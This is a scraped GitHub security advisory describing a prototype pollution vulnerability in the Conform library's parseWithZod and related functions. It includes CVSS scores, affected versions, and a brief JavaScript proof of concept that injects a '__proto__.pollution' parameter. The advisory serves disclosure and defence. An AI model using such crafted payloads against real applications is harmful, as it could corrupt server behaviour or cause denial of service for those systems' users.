Lucene search

K
githubGitHub Advisory DatabaseGHSA-624G-8QJG-8QXF
HistoryApr 23, 2024 - 9:15 p.m.

Conform contains a Prototype Pollution Vulnerability in `parseWith...` function

2024-04-2321:15:55
CWE-1321
GitHub Advisory Database
github.com
10
conform
prototype pollution
parsewithzod
zod
vulnerability
nested objects
crafted input
server-side validation

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

8.5 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

15.7%

Summary

Conform allows the parsing of nested objects in the form of object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith... functions.

PoC

const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod"); 

const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });

parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"

Details

The invocation of the parseWithZod function in the above PoC triggers the setValue function through getSubmissionContext and parse, executing the following process, resulting in prototype pollution:

let pointer = value;

pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;

pointer.polluted = "polluted";

This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key] without proper validation.

Impact

Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.

Affected configurations

Vulners
Node
conform-todomRange<0.9.2
OR
conform-toyupRange<0.9.2
OR
conform-tozodRange<0.9.2
OR
conform-toyupRange1.1.0
OR
conform-tozodRange1.1.0
OR
conform-todomRange1.1.0

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

8.5 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

15.7%

Related for GHSA-624G-8QJG-8QXF